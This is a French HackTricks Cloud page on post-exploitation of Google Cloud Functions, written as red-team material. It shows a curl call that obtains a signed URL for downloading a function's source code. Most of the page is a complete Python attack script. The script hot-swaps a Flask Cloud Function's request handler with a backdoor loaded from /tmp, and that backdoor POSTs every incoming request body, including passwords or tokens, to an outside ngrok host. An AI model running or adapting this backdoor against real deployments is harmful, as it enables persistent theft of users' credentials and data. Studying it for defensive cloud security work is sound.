GCP - Post-exploitation des Cloud Functions
Reading time: 3 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Cloud Functions
Trouvez des informations sur les Cloud Functions dans :
cloudfunctions.functions.sourceCodeGet
Avec cette permission, vous pouvez obtenir une URL signée pour pouvoir télécharger le code source de la Cloud Function :
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Voler des requĂȘtes de Cloud Function
Si la Cloud Function gĂšre des informations sensibles que les utilisateurs envoient (par exemple, des mots de passe ou des jetons), avec suffisamment de privilĂšges, vous pourriez modifier le code source de la fonction et exfiltrer ces informations.
De plus, les Cloud Functions exĂ©cutĂ©es en python utilisent flask pour exposer le serveur web. Si vous trouvez d'une maniĂšre ou d'une autre une vulnĂ©rabilitĂ© d'injection de code dans le processus flask (une vulnĂ©rabilitĂ© SSTI par exemple), il est possible de remplacer le gestionnaire de fonction qui va recevoir les requĂȘtes HTTP par une fonction malveillante qui peut exfiltrer la requĂȘte avant de la transmettre au gestionnaire lĂ©gitime.
Par exemple, ce code implémente l'attaque :
import functions_framework
# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""
if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"
# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)
return ""
def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)
return view_func
"""
def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys
if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)
if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)
# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"
except Exception as e:
return str(e)